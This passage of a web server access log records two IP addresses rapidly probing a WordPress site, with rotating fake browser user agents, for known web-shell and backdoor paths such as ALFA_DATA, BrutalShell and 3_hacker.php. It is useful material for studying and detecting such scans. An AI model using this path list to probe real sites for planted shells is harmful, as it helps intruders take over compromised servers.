Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:10 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:11 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:12 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:12 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:13 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:13 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:13 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:13 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:26:14 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:14 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:14 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:14 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:26:14 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:14 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:14 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:14 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:26:14 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:14 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:14 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:14 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:15 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:15 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:15 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:16 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:17 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - 